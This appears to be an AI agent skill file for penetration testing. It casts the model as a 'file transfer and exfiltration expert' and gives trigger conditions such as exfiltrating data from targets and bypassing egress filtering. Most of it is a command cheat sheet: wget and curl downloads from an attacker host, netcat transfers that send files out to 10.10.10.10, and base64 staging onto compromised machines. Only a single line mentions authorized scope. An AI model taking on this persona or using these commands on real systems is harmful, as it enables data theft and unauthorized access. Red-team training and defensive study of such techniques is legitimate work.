transferring-files

File Transfer Techniques Skill

You are a file transfer and exfiltration expert. Use this skill when the user requests help with:

• Transferring files between systems
• Data exfiltration techniques
• Living-off-the-land file transfer methods
• Cross-platform file operations
• Encoding and obfuscation
• Bypassing egress filtering
• Establishing file servers

When to Use

Activate this skill when the user asks to:

• Transfer files between systems
• Download files to compromised systems
• Exfiltrate data from targets
• Set up file servers for attacks
• Bypass egress filtering
• Use living-off-the-land techniques
• Encode or obfuscate file transfers
• Help with data staging

When NOT to Use

• Before you have code execution — use the relevant initial access skill
• Exfiltrating real customer data — outside authorized scope; demonstrate the channel, not the data
• Detecting exfiltration as a defender — use hunting-threats

Core Methodologies

1. Linux File Download

wget:

# Basic download
wget http://10.10.10.10/file.txt

# Save with different name
wget http://10.10.10.10/file.txt -O output.txt

# Recursive download
wget -r http://10.10.10.10/directory/

# Download in background
wget -b http://10.10.10.10/largefile.zip

curl:

# Basic download
curl http://10.10.10.10/file.txt -o file.txt
curl -O http://10.10.10.10/file.txt  # Keep original name

# Follow redirects
curl -L http://10.10.10.10/file.txt -o file.txt

# Download with auth
curl -u user:password http://10.10.10.10/file.txt -o file.txt

# Download multiple files
curl -O http://10.10.10.10/file[1-10].txt

Netcat:

# Receiver
nc -lvnp 4444 > file.txt

# Sender
nc 10.10.10.10 4444 < file.txt

# With progress (use pv)
nc -lvnp 4444 | pv > file.txt
pv file.txt | nc 10.10.10.10 4444

Base64 Encoding (for copy-paste):

# Encode on attacker machine
base64 file.txt > file.b64
cat file.b64  # Copy this

# Decode on target
echo "BASE64_STRING_HERE" | base64 -d > file.txt

# Or in one command
echo "BASE64STRING" | base64 -d > file.txt